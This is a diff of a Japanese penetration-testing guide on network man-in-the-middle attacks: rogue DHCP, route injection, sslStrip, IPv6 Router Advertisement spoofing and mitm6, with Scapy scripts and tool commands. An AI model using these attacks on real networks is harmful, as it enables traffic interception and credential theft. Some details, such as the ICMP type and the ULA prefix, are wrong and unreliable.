- **WPAD構成アドレス**: `-w “http://10.0.0.100/wpad.dat”` を使用して、ウェブトラフィックの傍受を支援するWPAD構成のアドレスを設定します。
- **デフォルトゲートウェイIPを偽装**: `-S` を含めて、デフォルトゲートウェイのIPアドレスを偽装します。
- **すべてのDHCPリクエストに応答**: `-R` を含めて、サーバーがすべてのDHCPリクエストに応答するようにしますが、これはイジーで検出される可能性があることに注意してください。
- **私たちのIPアドレスゲートウェイ広告**: `-i 10.0.0.100`を使用して、あなたのマシンのIPをゲートウェイとして広告します。
- **ローカルDNSドメイン名**: オプションで、`-d example.org`を使用してローカルDNSドメイン名を設定します。
- **元のルーター/ゲートウェイIP**: `-r 10.0.0.1`を使用して、正当なルーターまたはゲートウェイのIPアドレスを指定します。
- **プライマリDNSサーバーIP**: `-p 10.0.0.100`を使用して、あなたが制御する不正なDNSサーバーのIPアドレスを設定します。
- **セカンダリDNSサーバーIP**: オプションで、`-s 10.0.0.1`を使用してセカンダリDNSサーバーのIPを設定します。
- **ローカルネットワークのネットマスク**: `-n 255.255.255.0`を使用して、ローカルネットワークのネットマスクを定義します。
- **DHCPトラフィック用インターフェース**: `-I eth1`を使用して、特定のネットワークインターフェースでDHCPトラフィックをリッスンします。
- **WPAD構成アドレス**: `-w “http://10.0.0.100/wpad.dat”`を使用して、ウェブトラフィックの傍受を支援するWPAD構成のアドレスを設定します。
- **デフォルトゲートウェイIPを偽装**: `-S`を含めて、デフォルトゲートウェイのIPアドレスを偽装します。
- **すべてのDHCPリクエストに応答**: `-R`を含めて、サーバーがすべてのDHCPリクエストに応答するようにしますが、これはイジーで検出される可能性があることに注意してください。
これらのオプションを正しく使用することで、不正なDHCPサーバーを効果的に設定し、ネットワークトラフィックを傍受することができます。
```python
@ -533,70 +535,72 @@ yersinia dhcp -attack 3 #More parameters are needed
- TLS証明書検証をバイパスするためにEAP-MD5認証を強制する
- ハブや類似のものを使用して認証時に悪意のあるネットワークトラフィックを注入する
攻撃者が被害者と認証サーバーの間にいる場合、必要に応じて認証プロトコルをEAP-MD5にダウングレードし、認証試行をキャプチャしようとすることができます。その後、次の方法でこれをブルートフォースすることができます:
攻撃者が被害者と認証サーバーの間にいる場合、必要に応じて認証プロトコルをEAP-MD5にダウングレードし、認証試行をキャプチャしようとすることができます。その後、次の方法でブルートフォース攻撃を行うことができます:
```
eapmd5pass r pcap.dump w /usr/share/wordlist/sqlmap.txt
```
### FHRP (GLBP & HSRP) 攻撃 <a href="#id-6196" id="id-6196"></a>
### FHRP (GLBP & HSRP) Attacks <a href="#id-6196" id="id-6196"></a>
**FHRP** (First Hop Redundancy Protocol) は、**ホット冗長ルーティングシステムを作成するために設計されたネットワークプロトコルのクラス**です。FHRPを使用すると、物理ルーターを単一の論理デバイスに統合でき、耐障害性が向上し、負荷を分散するのに役立ちます。
**FHRP** (First Hop Redundancy Protocol) は、**ホット冗長ルーティングシステムを作成するために設計されたネットワークプロトコルのクラス**です。FHRPを使用すると、物理ルーターを単一の論理デバイスに統合でき、耐障害性が向上し、負荷の分散が助けられます。
**Cisco Systemsのエンジニアは、GLBPとHSRPの2つのFHRPプロトコルを開発しました。**
{{#ref}}
glbp-and-hsrp-attacks.md
{{#endref}}
### RIP
ルーティング情報プロトコル (RIP) の3つのバージョンが存在します: RIP、RIPv2、およびRIPng。RIPとRIPv2は、UDPを使用してポート520経由でピアにデータグラムを送信しますが、RIPngはIPv6マルチキャストを介してUDPポート521にデータグラムをブロードキャストします。MD5認証のサポートはRIPv2によって導入されました。一方、RIPngにはネイティブ認証が組み込まれておらず、代わりにIPv6内のオプションのIPsec AHおよびESPヘッダーに依存しています。
ルーティング情報プロトコルRIPの3つのバージョンが存在しますRIP、RIPv2、およびRIPng。RIPとRIPv2はポート520を介してUDPでピアにデータグラムを送信しますが、RIPngはIPv6マルチキャストを介してUDPポート521にデータグラムをブロードキャストします。MD5認証のサポートはRIPv2によって導入されました。一方、RIPngにはネイティブ認証が組み込まれておらず、代わりにIPv6内のオプションのIPsec AHおよびESPヘッダーに依存しています。
- **RIPとRIPv2:** 通信はポート520のUDPデータグラムを介して行われます。
- **RIPng:** IPv6マルチキャストを介してデータグラムをブロードキャストするためにUDPポート521を利用します。
RIPv2はMD5認証をサポートしていますが、RIPngはネイティブ認証を含まず、IPv6内のIPsec AHおよびESPヘッダーに依存しています。
### EIGRP 攻撃
### EIGRP Attacks
**EIGRP (Enhanced Interior Gateway Routing Protocol)** は動的ルーティングプロトコルです。**距離ベクトルプロトコルです。** **認証**がなく、受動インターフェースの設定がない場合、**侵入者**EIGRPルーティングに干渉し、**ルーティングテーブルの中毒**を引き起こす可能性があります。さらに、EIGRPネットワーク言い換えれば、自律システムは**フラットであり、ゾーンに分割されていません**。**攻撃者がルートを注入**すると、そのルートは自律EIGRPシステム全体に**広がる**可能性があります。
**EIGRP (Enhanced Interior Gateway Routing Protocol)** は動的ルーティングプロトコルです。**距離ベクトルプロトコルです。** **認証**がなく、受動インターフェースの設定がない場合、**侵入者**EIGRPルーティングに干渉し、**ルーティングテーブルの中毒**を引き起こす可能性があります。さらに、EIGRPネットワーク言い換えれば、自律システムは**フラットで、ゾーンに分割されていません**。**攻撃者がルートを注入**すると、そのルートは自律EIGRPシステム全体に**広がる**可能性があります。
EIGRPシステムを攻撃するには、**正当なEIGRPルーターとの隣接関係を確立する**必要があり、これにより基本的な偵察からさまざまな注入まで多くの可能性が開かれます。
[**FRRouting**](https://frrouting.org/) は、**BGP、OSPF、EIGRP、RIPおよびその他のプロトコルをサポートする仮想ルーターを実装することを可能にします。** これを攻撃者のシステムに展開するだけで、実際にルーティングドメイン内の正当なルーターのふりをすることができます。
[**FRRouting**](https://frrouting.org/)を使用すると、**BGP、OSPF、EIGRP、RIPおよびその他のプロトコルをサポートする仮想ルーターを実装できます。** これを攻撃者のシステムに展開するだけで、実際にルーティングドメイン内の正当なルーターのふりをすることができます。
{{#ref}}
eigrp-attacks.md
{{#endref}}
[**Coly**](https://code.google.com/p/coly/) は、EIGRP (Enhanced Interior Gateway Routing Protocol) ブロードキャストを傍受する機能を持っています。また、ルーティング構成を変更するために利用できるパケットの注入も可能です。
[**Coly**](https://code.google.com/p/coly/)は、EIGRPEnhanced Interior Gateway Routing Protocolブロードキャストを傍受する機能を持っています。また、パケットの注入を可能にし、ルーティング構成を変更するために利用できす。
### OSPF
Open Shortest Path First (OSPF) プロトコルでは、**ルーター間の安全な通信を確保するためにMD5認証が一般的に使用されます**。しかし、このセキュリティ対策は、LokiやJohn the Ripperのようなツールを使用して侵害される可能性があります。これらのツールはMD5ハッシュをキャプチャして解読することができ、認証キーを暴露します。このキーが取得されると、新しいルーティング情報を導入するために使用できます。ルートパラメータを設定し、侵害されたキーを確立するために、_Injection_ および _Connection_ タブがそれぞれ利用されます。
Open Shortest Path First (OSPF) プロトコルでは、**ルーター間の安全な通信を確保するためにMD5認証が一般的に使用されます**。しかし、このセキュリティ対策は、LokiやJohn the Ripperのようなツールを使用して侵害される可能性があります。これらのツールはMD5ハッシュをキャプチャして解読することができ、認証キーを暴露します。このキーが取得されると、新しいルーティング情報を導入するために使用できます。ルートパラメータを設定し、侵害されたキーを確立するために、_Injection_タブと_Connection_タブがそれぞれ利用されます。
- **MD5ハッシュのキャプチャと解読:** LokiやJohn the Ripperのようなツールがこの目的で使用されます。
- **ルートパラメータの設定:** これは _Injection_ タブを通じて行われます。
- **侵害されたキーの設定:** キーは _Connection_ タブの下で設定されます。
- **ルートパラメータの設定:** これは_Injection_タブを介して行われます。
- **侵害されたキーの設定:** キーは_Connection_タブで設定されます。
### その他の一般的なツールとリソース
### Other Generic Tools & Sources
- [**Above**](https://github.com/c4s73r/Above): ネットワークトラフィックをスキャンし、脆弱性を見つけるためのツール
- **ネットワーク攻撃に関する** [**詳細情報**](https://github.com/Sab0tag3d/MITM-cheatsheet) を見つけることができます。
- [**Above**](https://github.com/c4s73r/Above): ネットワークトラフィックをスキャンし、脆弱性を見つけるツール
- **ネットワーク攻撃に関する** [**詳細情報**](https://github.com/Sab0tag3d/MITM-cheatsheet)を見つけることができます。
## **スプーフィング**
## **Spoofing**
攻撃者は、偽のDHCP応答を送信してネットワークの新しいメンバーのすべてのネットワークパラメータ (GW、IP、DNS) を設定します。
攻撃者は、偽のDHCP応答を送信してネットワークの新しいメンバーのすべてのネットワークパラメータGW、IP、DNSを設定します。
```bash
Ettercap
yersinia dhcp -attack 2 #More parameters are needed
```
### ARP Spoofing
[前のセクション](#arp-spoofing)を確認してください。
前のセクションを確認してください [previous section](#arp-spoofing).
### ICMPRedirect
ICMP Redirectは、攻撃者がIPに到達する最良の方法であることを示すICMPパケットタイプ1コード5を送信することから成ります。次に、被害者がそのIPに連絡を取りたい場合、攻撃者を通じてパケットを送信します。
ICMP Redirectは、攻撃者がIPに到達する最良の方法であることを示すICMPパケットタイプ1コード5を送信することから成ります。次に、被害者がそのIPに連絡を取りたいとき、攻撃者を通じてパケットを送信します。
```bash
Ettercap
icmp_redirect
@ -638,25 +642,25 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
DNSルックアップが失敗した場合のローカルホスト解決のために、Microsoftシステムは**Link-Local Multicast Name Resolution (LLMNR)**および**NetBIOS Name Service (NBT-NS)**に依存しています。同様に、**Apple Bonjour**および**Linuxゼロコンフィギュレーション**の実装は、ネットワーク内のシステムを発見するために**Multicast DNS (mDNS)**を利用します。これらのプロトコルは認証されておらず、UDP上でメッセージをブロードキャストするため、攻撃者によって悪意のあるサービスにユーザーをリダイレクトするために悪用される可能性があります。
Responderを使用して、ホストによって検索されるサービスを偽装し、偽の応答を送信することができます。\
Responderを使用してサービスを偽装する方法についての詳細は、こちらをお読みください。[how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)。
Responderを使用してサービスを偽装する方法についての詳細は[こちらをお読みください](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)。
### [WPADのスプーフィング](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
ブラウザは一般的に**Web Proxy Auto-Discovery (WPAD)プロトコルを使用して自動的にプロキシ設定を取得します**。これは、特に「http://wpad.example.org/wpad.dat」のようなURLを介してサーバーから構成詳細を取得することを含みます。このサーバーの発見は、クライアントによってさまざまなメカニズムを通じて行われる可能性があります
- **DHCP**を介して、特別なコード252エントリを利用して発見が促進されます。
- **DNS**によって、ローカルドメイン内で_wpad_というラベルの付たホスト名を検索します。
- **DNS**によって、ローカルドメイン内で_wpad_というラベルの付けられたホスト名を検索します。
- **Microsoft LLMNRおよびNBT-NS**を介して、DNSルックアップが成功しない場合に使用されるフォールバックメカニズムです。
ツールResponderは、このプロトコルを利用して**悪意のあるWPADサーバー**として機能します。DHCP、DNS、LLMNR、およびNBT-NSを使用して、クライアントを誤って接続させるように誘導します。Responderを使用してサービスを偽装する方法についてさらに詳しくは、[check this](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)。
ツールResponderは、このプロトコルを利用して**悪意のあるWPADサーバー**として機能します。DHCP、DNS、LLMNR、およびNBT-NSを使用して、クライアントを誤って接続させるように誘導します。Responderを使用してサービスを偽装する方法についてさらに詳しくは[こちらを確認してください](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)。
### [SSDPおよびUPnPデバイスのスプーフィング](spoofing-ssdp-and-upnp-devices.md)
ネットワーク内で異なるサービスを提供し、**ユーザーを騙してプレーンテキストの認証情報を入力させる**ことができます。**この攻撃に関する詳細は、[**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**をご覧ください。**
ネットワーク内で異なるサービスを提供し、**ユーザーを騙してプレーンテキストの認証情報を入力させる**ことができます。**この攻撃に関する詳細は** [**SSDPおよびUPnPデバイスのスプーフィング**](spoofing-ssdp-and-upnp-devices.md)**でご覧ください。**
### IPv6隣接スプーフィング
この攻撃はARPスプーフィングに非常に似ていますが、IPv6の世界で行われます。被害者は、GWのIPv6が攻撃者のMACを持っていると考えることができます。
この攻撃はARPスプーフィングに非常に似ていますが、IPv6の世界で行われます。被害者は、GWのIPv6が攻撃者のMACを持っていると考えるようになります。
```bash
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
@ -684,7 +688,7 @@ mitm6
### sslStrip
基本的に、この攻撃が行うことは、**ユーザー**が**HTTPS**バージョンに**リダイレクト**される**HTTP**ページに**アクセス**しようとした場合です。**sslStrip**は**クライアントとのHTTP接続**と**サーバーとのHTTPS接続**を**維持**するため、**平文**で接続を**スニッフィング**することができます。
基本的に、この攻撃は、**ユーザー**が**HTTPS**バージョンに**リダイレクト**される**HTTP**ページに**アクセス**しようとした場合に行われます。**sslStrip**は、**クライアント**との**HTTP接続**と**サーバー**との**HTTPS接続**を**維持**するため、**プレーンテキスト**で接続を**スニッフィング**することができます。
```bash
apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
@ -697,18 +701,18 @@ More info [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/Bla
### sslStrip+ と dns2proxy を使用した HSTS バイパス
**sslStrip+ と dns2proxy** の **違い** は、**sslStrip** に対して、例えば _**www.facebook.com**__**wwww.facebook.com**_ **にリダイレクト** し(**余分な** "**w**" に注意)、**このドメインのアドレスを攻撃者の IP に設定** することです。このようにして、**クライアント** は _**wwww.facebook.com**_ **(攻撃者)に接続** しますが、裏では **sslstrip+****www.facebook.com** との **実際の接続****維持** します。
**sslStrip+ と dns2proxy** の **違い** は、**sslStrip** に対して、例えば _**www.facebook.com**__**wwww.facebook.com**_ **にリダイレクト** し(**追加の** "**w**" に注意)、このドメインの **アドレスを攻撃者の IP** に設定することです。この方法で、**クライアント** は _**wwww.facebook.com**_ **(攻撃者)** **接続** しますが、裏では **sslstrip+****www.facebook.com** との **実際の接続****維持** します。
この技術の **目的****HSTS を回避する** ことで、_**wwww**.facebook.com_ **は** **ブラウザのキャッシュ** に保存されないため、ブラウザは **HTTP での facebook 認証を実行するように騙されます**。\
この攻撃を実行するには、犠牲者が最初に [http://www.faceook.com](http://www.faceook.com) にアクセスしなければならないことに注意してください。これは、http ページ内のリンクを変更することで実行できます。
この技術の **目的****HSTS を回避する** ことで、_**wwww**.facebook.com_ **は** ブラウザの **キャッシュ** に保存されないため、ブラウザは **HTTP での facebook 認証を実行するように騙されます**。\
この攻撃を実行するには、犠牲者が最初に [http://www.faceook.com](http://www.faceook.com) にアクセスしなければならないことに注意してください。これは、http ページ内のリンクを修正することで実行できます。
More info [here](https://www.bettercap.org/legacy/#hsts-bypass), [here](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) and [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
**sslStrip または sslStrip+ はもう機能しません。これは、ブラウザに事前保存された HSTS ルールがあるためで、ユーザーが「重要な」ドメインに初めてアクセスする場合でも、HTTPS 経由でアクセスします。また、事前保存されたルールや他の生成されたルールは、** [**`includeSubdomains`**](https://hstspreload.appspot.com) **フラグを使用する可能性があるため、以前の** _**wwww.facebook.com**_ **の例は、** _**facebook.com**_ **`includeSubdomains` で HSTS を使用しているため、もはや機能しません。**
**sslStrip または sslStrip+ はもう機能しません。これは、ブラウザに事前保存された HSTS ルールがあるためで、ユーザーが「重要な」ドメインに初めてアクセスする場合でも、HTTPS 経由でアクセスします。また、事前保存されたルールや他の生成されたルールは、** [**`includeSubdomains`**](https://hstspreload.appspot.com) **フラグを使用する可能性があるため、以前の _**wwww.facebook.com**_ の例は、_**facebook.com**_ が `includeSubdomains` で HSTS を使用しているため、もはや機能しません。**
TODO: easy-creds, evilgrade, metasploit, factory
## TCP ポートでリッスン
## ポートでの TCP リッスン
```bash
sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -
@ -736,7 +740,7 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI
時には、クライアントがCAが有効であることを確認すると、**CAによって署名された他のホスト名の証明書を提供する**ことができます。\
もう一つの興味深いテストは、**要求されたホスト名の証明書を自己署名で提供する**ことです。
他にテストすることは、有効なCAではない有効な証明書で証明書に署名しようとすることです。また、有効な公開鍵を使用し、Diffie-Hellmanのようなアルゴリズムを強制的に使用し実際の秘密鍵で何も復号化する必要がないもの、クライアントが実際の秘密鍵のプローブハッシュのようなを要求したときに、偽のプローブを送信し、クライアントがこれを確認しないことを期待します。
他にテストすることは、有効なCAではない有効な証明書で証明書に署名しようとすることです。また、有効な公開鍵を使用し、Diffie-Hellmanのようなアルゴリズムを強制的に使用し実際の秘密鍵で何も復号化する必要がないもの、クライアントが実際の秘密鍵のプローブハッシュのようなを要求したときに、偽のプローブを送信し、クライアントがこれをチェックしないことを期待します。
## Bettercap
```bash
@ -774,7 +778,7 @@ ARPパケットは、ネットワーク内で使用されているIPを発見す
### **mDNSマルチキャストDNS**
Bettercapは、**\_services\_.dns-sd.\_udp.local**を要求するMDNSリクエストを送信しますXミリ秒ごと。このパケットを見るマシンは通常、このリクエストに応答します。その後、「services」に応答するマシンを検索します。
Bettercapは、**\_services\_.dns-sd.\_udp.local**を要求するMDNSリクエストをX msごとに送信します。このパケットを受信したマシンは通常、このリクエストに応答します。その後、「services」に応答するマシンを検索します。
**ツール**

View File

@ -6,7 +6,7 @@
### ネットワーク
IPv6 アドレスは、ネットワークの組織化とデバイスの相互作用を強化するように構されています。IPv6 アドレスは次のように分かれています:
IPv6 アドレスは、ネットワークの組織化とデバイスの相互作用を強化するように構造化されています。IPv6 アドレスは次のように分かれています:
1. **ネットワークプレフィックス**:最初の 48 ビットで、ネットワークセグメントを決定します。
2. **サブネット ID**:次の 16 ビットで、ネットワーク内の特定のサブネットを定義するために使用されます。
@ -20,7 +20,7 @@ IPv6 は IPv4 に見られる ARP プロトコルを省略していますが、2
IPv6 には特別なアドレスタイプも含まれています:
- **ループバックアドレス (`::1`)**IPv4 の `127.0.0.1` に相当し、ホスト内の内部通信に使用されます。
- **リンクローカルアドレス (`FE80::/10`)**:ローカルネットワーク活動で、インターネットルーティングには使用されません。同じローカルネットワーク上のデバイスは、この範囲を使用して互いに発見できます。
- **リンクローカルアドレス (`FE80::/10`)**:ローカルネットワーク活動のためのもので、インターネットルーティングには使用されません。同じローカルネットワーク上のデバイスは、この範囲を使用して互いに発見できます。
### ネットワークコマンドにおける IPv6 の実用的な使用法
@ -45,21 +45,21 @@ IPv6アドレスは、ローカル通信のためにデバイスのMACアドレ
MACアドレス **`12:34:56:78:9a:bc`** が与えられた場合、リンクローカルIPv6アドレスは次のように構築できます。
1. MACをIPv6形式に変換: **`1234:5678:9abc`**
2. `fe80::` を前に付け、中間に `fffe` を挿入: **`fe80::1234:56ff:fe78:9abc`**
3. 左から7ビットを反転させ、`1234` `1034` に変更: **`fe80::1034:56ff:fe78:9abc`**
2. `fe80::`を前に付け、中間に`fffe`を挿入: **`fe80::1234:56ff:fe78:9abc`**
3. 左から7ビットを反転させ、`1234``1034`に変更: **`fe80::1034:56ff:fe78:9abc`**
### **IPv6アドレスの種類**
- **ユニークローカルアドレス (ULA)**: ローカル通信用で、公共インターネットのルーティングには使用されません。プレフィックス: **`FEC00::/7`**
- **マルチキャストアドレス**: 1対多の通信用。マルチキャストグループ内のすべてのインターフェースに配信されます。プレフィックス: **`FF00::/8`**
- **エニキャストアドレス**: 1対最近接の通信用。ルーティングプロトコルに従って最も近いインターフェースに送信されます。**`2000::/3`** のグローバルユニキャスト範囲の一部です。
- **エニキャストアドレス**: 1対最寄りの通信用。ルーティングプロトコルに従って最も近いインターフェースに送信されます。**`2000::/3`**のグローバルユニキャスト範囲の一部です。
### **アドレスプレフィックス**
- **fe80::/10**: リンクローカルアドレス169.254.x.xに似)
- **fc00::/7**: ユニークローカルユニキャストプライベートIPv4範囲の10.x.x.x、172.16.x.x、192.168.x.xに似)
- **fe80::/10**: リンクローカルアドレス169.254.x.xに似ています
- **fc00::/7**: ユニークローカルユニキャストプライベートIPv4範囲の10.x.x.x、172.16.x.x、192.168.x.xに似ています
- **2000::/3**: グローバルユニキャスト
- **ff02::1**: マルチキャストノード
- **ff02::1**: マルチキャストすべてのノード
- **ff02::2**: マルチキャストルーターノード
### **ネットワーク内のIPv6アドレスを発見する方法**
@ -77,20 +77,20 @@ service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table
```
### IPv6 Man-in-the-Middle (MitM) Attacks
### IPv6 Man-in-the-Middle (MitM) 攻撃
IPv6ネットワークでMitM攻撃を実行するためのいくつかの技術が存在します。例えば
IPv6 ネットワークで MitM 攻撃を実行するためのいくつかの技術が存在します。例えば:
- ICMPv6隣接またはルーター広告のスプーフィング。
- ICMPv6リダイレクトまたは「パケットが大きすぎ」メッセージを使用してルーティングを操作する。
- モバイルIPv6を攻撃する通常、IPSecを無効にする必要があります
- 悪意のあるDHCPv6サーバーを設定する。
- ICMPv6 隣接またはルーター広告のスプーフィング。
- ICMPv6 リダイレクトまたは「パケットが大きすぎます」メッセージを使用してルーティングを操作する。
- モバイル IPv6 を攻撃する通常、IPSec を無効にする必要があります)。
- 悪意のある DHCPv6 サーバーを設定する。
## Identifying IPv6 Addresses in the eild
## eild における IPv6 アドレスの特定
### Exploring Subdomains
### サブドメインの探索
IPv6アドレスに関連する可能性のあるサブドメインを見つける方法は、検索エンジンを活用することです。例えば、`ipv6.*`のようなクエリパターンを使用することが効果的です。具体的には、次の検索コマンドをGoogleで使用できます
IPv6 アドレスに関連する可能性のあるサブドメインを見つける方法は、検索エンジンを活用することです。例えば、`ipv6.*` のようなクエリパターンを使用することが効果的です。具体的には、次の検索コマンドを Google で使用できます:
```bash
site:ipv6./
```
@ -98,7 +98,7 @@ site:ipv6./
IPv6アドレスを特定するために、特定のDNSレコードタイプをクエリできます
- **AXFR**: 完全なゾーン転送を要求し、広範囲のDNSレコードを明らかにする可能性があります。
- **AXFR**: 完全なゾーン転送をリクエストし、広範囲のDNSレコードを明らかにする可能性があります。
- **AAAA**: IPv6アドレスを直接探します。
- **ANY**: 利用可能なすべてのDNSレコードを返す広範なクエリです。
@ -126,9 +126,9 @@ sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
```
### Passive NDP & DHCPv6 Sniffing
### パッシブNDPおよびDHCPv6スニッフィング
すべてのIPv6ホストは**自動的に複数のマルチキャストグループ**`ff02::1`, `ff02::2`, に参加し、SLAAC/NDPのためにICMPv6を使用するため、パケットを1つも送信せずに全体のセグメントをマッピングできます。次のPython/Scapyのワンライナーは、最も興味深いL2メッセージをリッスンし、誰が誰であるかの色付きのタイムスタンプ付きログを出力します
すべてのIPv6ホストは**自動的に複数のマルチキャストグループ**`ff02::1``ff02::2`に参加し、SLAAC/NDPのためにICMPv6を使用するため、パケットを1つも送信せずに全体のセグメントをマッピングできます。次のPython/Scapyのワンライナーは、最も興味深いL2メッセージをリッスンし、誰が誰であるかの色付きのタイムスタンプ付きログを出力します
```python
#!/usr/bin/env python3
from scapy.all import *
@ -195,11 +195,11 @@ argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
```
結果: 数秒以内に完全な**リンクローカルトポロジー** (MAC ⇄ IPv6) を構築し、アクティブスキャンに依存するIPS/IDSシステムをトリガーすることなく行います。
結果: 数秒以内に完全な **link-local topology** (MAC ⇄ IPv6) を構築し、アクティブスキャンに依存するIPS/IDSシステムをトリガーすることなく行います。
### ルーター広告 (RA) スプーフィング
IPv6ホストはデフォルトゲートウェイの発見のために**ICMPv6ルーター広告**に依存しています。正当なルーターよりも**頻繁に**偽のRAを注入すると、デバイスは静かにあなたをゲートウェイとして切り替えます。
IPv6ホストはデフォルトゲートウェイの発見のために **ICMPv6 Router Advertisements** に依存しています。 正当なルーターよりも **頻繁に** 偽のRAを注入すると、デバイスは静かにあなたをゲートウェイとして切り替えます。
```python
#!/usr/bin/env python3
from scapy.all import *
@ -231,12 +231,12 @@ sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
| フラグ | 意味 | クライアントの動作への影響 |
|------|---------|----------------------------|
| **M (管理アドレス構成)** | `1` に設定されている場合、ホストは **DHCPv6** を使用して IPv6 アドレスを取得しなければなりません。 | アドレス全体が DHCPv6 からるため、*mitm6* スタイルのポイズニングに最適です。 |
| **O (その他の構成)** | `1` に設定されている場合、ホストは **DHCPv6** を使用して *その他* の情報 (DNS, NTP, …) を取得するべきです。 | アドレスは SLAAC 経由ですが、DNS は DHCPv6 でハイジャック可能です。 |
| **M (管理アドレス構成)** | `1` に設定されている場合、ホストは **DHCPv6** を使用して IPv6 アドレスを取得しなければなりません。 | アドレス全体が DHCPv6 から取得されるため、*mitm6* スタイルのポイズニングに最適です。 |
| **O (その他の構成)** | `1` に設定されている場合、ホストは **DHCPv6** を使用して *その他* の情報 (DNS, NTP, …) を取得する必要があります。 | アドレスは SLAAC 経由ですが、DNS は DHCPv6 でハイジャック可能です。 |
| **M=0 / O=0** | 純粋な SLAAC ネットワーク。 | RA / RDNSS トリックのみが可能で、クライアントから DHCPv6 は送信されません。 |
| **M=1 / O=1** | 混合環境。 | DHCPv6 と SLAAC の両方が使用され、スプーフィングの表面が最も大きくなります。 |
ペンテスト中に、正当な RA を一度検査し、どのベクターが実行可能かを判断できます:
ペンテスト中に、正当な RA を一度確認し、どのベクターが実行可能かを判断できます:
```bash
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements
```
@ -250,7 +250,7 @@ RA ヘッダー内の **Prf** (ルーターの優先度) フィールドは、*
| 中 (デフォルト) | `01` | ほぼすべての正当なデバイスによって使用されます |
| 低 | `00` | より良いルーターが存在しない場合にのみ選択されます |
Scapy でパケットを生成する際は、上記のように `prf` パラメータを通じて設定できます (`prf=0x1` → 高)。 **高い Prf**、**短い間隔**、および **ゼロ以外のライフタイム** を組み合わせることで、あなたの不正ゲートウェイは非常に安定します。
Scapy でパケットを生成する際は、上記のように `prf` パラメータを通じて設定できます (`prf=0x1` → 高)。 **高い Prf**、**短い間隔**、および **ゼロ以外のライフタイム** を組み合わせることで、あなたの不正ゲートウェイは非常に安定します。
---
@ -263,11 +263,12 @@ from scapy.all import *
import argparse
p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('--llip',required=True)
p.add_argument('--dns',required=True,help='Fake DNS IPv6')
p.add_argument('--lifetime',type=int,default=600)
p.add_argument('--interval',type=int,default=5)
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
@ -280,7 +281,7 @@ send(ra,iface=args.interface,loop=1,inter=args.interval)
### DHCPv6 DNS スプーフィング (mitm6)
SLAACの代わりに、WindowsネットワークはしばしばDNSのために**ステートレスDHCPv6**に依存ます。[mitm6](https://github.com/rofl0r/mitm6)は、`Solicit`メッセージに自動的に**Advertise → Reply**フローで応答し、**あなたのリンクローカルアドレスを300秒間DNSとして割り当てます**。これにより以下が可能になります:
SLAACの代わりに、WindowsネットワークはDNSのために**ステートレスDHCPv6**に依存することがよくあります。[mitm6](https://github.com/rofl0r/mitm6)は、`Solicit`メッセージに自動的に**Advertise → Reply**フローで応答し、**あなたのリンクローカルアドレスを300秒間DNSとして割り当てます**。これにより以下が可能になります:
* NTLMリレー攻撃 (WPAD + DNSハイジャック)
* ルーターに触れずに内部名前解決を傍受する
@ -296,6 +297,51 @@ sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
* **不安定な高レートのRA** や突然の **RDNSSの変更** を監視。
* エンドポイントでのIPv6の無効化は一時的な回避策であり、現代のサービスを破壊し、盲点を隠すことが多いため、代わりにL2フィルタリングを推奨。
### ゲスト/パブリックSSIDでのNDPルーター発見と管理サービスの露出
多くの消費者ルーターは、すべてのインターフェースで管理デーモンHTTP(S)、SSH/Telnet、TR-069などを公開しています。一部の展開では、「ゲスト/パブリック」SSIDがWAN/コアにブリッジされ、IPv6専用です。ルーターのIPv6が毎回のブートで変更されても、NDP/ICMPv6を使用して確実に学習し、ゲストSSIDから管理プレーンに直接接続できます。
ゲスト/パブリックSSIDに接続されたクライアントからの典型的なワークフロー
1) ICMPv6ルーターソリシテーションを使用して、すべてのルーターのマルチキャスト `ff02::2` にルーターを発見し、ルーターアドバタイズメントRAをキャプチャ
```bash
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'
# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY
```
RAはルーターのリンクローカルおよびしばしばグローバルアドレス/プレフィックスを明らかにします。リンクローカルのみが知られている場合、接続はゾーンインデックスを指定する必要があることを忘れないでください。例:`ssh -6 admin@[fe80::1%wlan0]`
代替利用可能な場合はndisc6スイートを使用します
```bash
# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
```
2) ゲストSSIDからIPv6経由で公開されているサービスにアクセスする:
```bash
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
